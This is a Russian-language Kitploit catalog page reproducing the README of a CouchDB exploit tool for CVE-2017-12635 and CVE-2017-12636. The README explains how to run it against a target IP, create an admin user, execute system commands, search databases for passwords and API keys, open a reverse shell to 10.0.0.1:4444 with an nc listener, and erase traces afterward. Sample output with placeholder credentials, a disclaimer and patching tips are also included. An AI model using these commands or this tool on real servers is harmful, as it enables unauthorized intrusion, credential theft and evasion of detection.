Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
couchdb-exploit — Эксплуатирует уязвимости CouchDB CVE-2017-12635/12636 для повышения привилегий и RCE, затем предоставляет интерактивный шелл с выполнением команд, просмотром баз данных и реверс-шеллом. | Kitploit
Инструменты/GitHubGitHub/darabium/couchdb-exploit
Повышение привилегийЭксплуатацияСбор информацииПост-эксплуатацияТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubdarabium/couchdb-exploit

couchdb-exploit

Эксплуатирует уязвимости CouchDB CVE-2017-12635/12636 для повышения привилегий и RCE, затем предоставляет интерактивный шелл с выполнением команд, просмотром баз данных и реверс-шеллом.

Репозиторий
231 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🚀 CouchDB Exploit - CVE-2017-12635 и CVE-2017-12636

Python License CVE CVE

Apache CouchDB — повышение привилегий и удалённое выполнение кода

GitHub stars GitHub forks


📖 Обзор

Этот инструмент эксплуатирует две критические уязвимости в Apache CouchDB:

CVEОписаниеКритичность
CVE-2017-12635Повышение привилегий через обход парсинга JSON🔴 Критическая
CVE-2017-12636Удалённое выполнение кода через Query Server🔴 Критическая

Как это работает

  1. CVE-2017-12635: эксплуатирует несоответствие парсинга JSON между парсерами Erlang и JavaScript для создания административного пользователя
  2. CVE-2017-12636: использует административный доступ для настройки вредоносного Query Server и выполнения системных команд

🎯 Уязвимые версии

ВерсияУязвимаИсправленная версия
Apache CouchDB < 1.7.0✅ Да1.7.0
Apache CouchDB 1.x.x✅ Да1.7.0
Apache CouchDB 2.0.0✅ Да2.1.1
Apache CouchDB 2.1.0✅ Да2.1.1
Apache CouchDB ≥ 2.1.1❌ Нет-

Быстрая проверка

curl http://target:5984/

Если версия 1.x.x или 2.0.x/2.1.0 → УЯЗВИМА

✨ Возможности

✅ Автоматическая эксплуатация — одна команда, чтобы править всем

✅ Интерактивная оболочка — удобный интерфейс команд

✅ Просмотр баз данных — просмотр всех баз данных и документов

✅ Полное отображение JSON — просмотр полного содержимого документа

✅ Глобальный поиск — поиск ключевых слов по всем базам данных

✅ Системные команды — выполнение произвольных команд на цели

✅ Обратная оболочка — получение полноценной интерактивной оболочки

✅ История команд — отслеживание ваших действий

✅ Автоматическая очистка — удаление следов после эксплуатации

✅ Цветной вывод — легко читать и понимать

📦 Установка Предварительные требования bash

Требуется Python 3.6+

python3 --version

Клонирование и установка bash

Клонируйте репозиторий

git clone https://github.com/darabium/couchdb-exploit.git

cd couchdb-exploit

Установка зависимостей

python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt

Требования txt

requests>=2.25.0 urllib3>=1.26.0

🚀 Использование Базовое использование bash

Простой эксплойт

python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>

Пример

python3 couchdb-exploit.py -t 192.168.1.100 -p 5984

Параметры командной строки bash

python3 couchdb-exploit.py -h

usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]

arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target IP address or hostname
  -p PORT, --port PORT  Target port (default: 5984)

💻 Команды

После эксплуатации у вас будет интерактивная оболочка: Команда Описание Пример db Показать все базы данных с количеством документов db view Просмотреть ВСЕ документы в базе данных (полный JSON) view passwords raw Показать необработанный ответ сервера raw admin count Подсчитать документы в базе данных count users search Искать ключевое слово во ВСЕХ базах данных search admin exec Выполнить системную команду exec whoami reverse Настроить обратную оболочку reverse 10.0.0.1 4444 history Показать историю команд history help Показать это меню help exit Выйти с очисткой exit 📊 Примеры

  1. Список всех баз данных bash

couchdb> db

[+] 39 databases:

  1. _replicator (0 docs)

  2. _users (12 docs)

  3. admin (5 docs)

  4. passwords (25 docs)

  5. core-configuration (8 docs) ...

  6. Просмотр содержимого базы данных bash

couchdb> view passwords

[+] Viewing database: passwords

[*] Total documents: 25

📄 Document #1 ID: user_admin Full content: { "_id": "user_admin", "username": "admin", "password": "Admin123!", "email": "[email protected]", "role": "superadmin" }

  1. Поиск учётных данных bash

couchdb> search password

[+] Searching for 'password' in all databases...

✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }

✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }

  1. Выполнение системных команд bash

couchdb> exec whoami [+] Executing: whoami [+] Command executed!

couchdb> exec id [+] Executing: id [+] Command executed!

  1. Обратная оболочка bash

On your machine (listener)

nc -lvnp 4444

В эксплойте

couchdb> reverse 10.0.0.1 4444 [+] Настройка обратной оболочки на 10.0.0.1:4444 [!] Убедитесь, что слушатель запущен: nc -lvnp 4444 [?] Продолжить? (y/n): y [+] Обратная оболочка запущена!

Вы должны получить оболочку на вашем слушателе!

🖼️ Скриншоты Эксплойт в действии

https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Просмотр базы данных

https://via.placeholder.com/800x400?text=Database+View Обратная оболочка

https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ Отказ от ответственности

ВАЖНО: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования.

    🚫 НЕ используйте на системах без явного разрешения

    🚫 Автор не несёт ответственности за любое неправомерное использование

    🚫 Используйте только в контролируемых средах или на собственных системах

    ✅ Всегда получайте письменное разрешение перед тестированием

    ✅ Соблюдайте практики ответственного раскрытия

Используя этот инструмент, вы соглашаетесь с этими условиями. 🔐 Советы по безопасности

Если вы системный администратор:

Немедленно обновитесь до CouchDB ≥ 1.7.0 или ≥ 2.1.1

Используйте межсетевой экран для ограничения доступа к порту 5984

Включите аутентификацию и используйте надёжные пароли

Отслеживайте журналы на предмет подозрительной активности

Регулярно проводите аудит безопасности вашей инфраструктуры

Быстрое исправление bash

Обновление CouchDB

sudo apt-get update sudo apt-get install couchdb=2.1.1 # Или последняя версия

Ограничить доступ

sudo ufw allow from 192.168.1.0/24 to any port 5984

📚 Ссылки

CVE-2017-12635 - NVD

CVE-2017-12636 - NVD

Безопасность Apache CouchDB

Exploit-DB

👤 Автор

darabium

GitHub: @darabium

Telegram: @darabium

⭐ Поддержка

Если вы находите это полезным:

⭐ Поставьте звезду репозиторию

🐛 Сообщайте об ошибках

🔧 Вносите улучшения

📢 Делитесь с другими

📄 Лицензия

Этот проект распространяется под лицензией MIT — подробности см. в файле LICENSE.

Сделано с ❤️ для исследований в области безопасности

⬆ Наверх

Скачать инструмент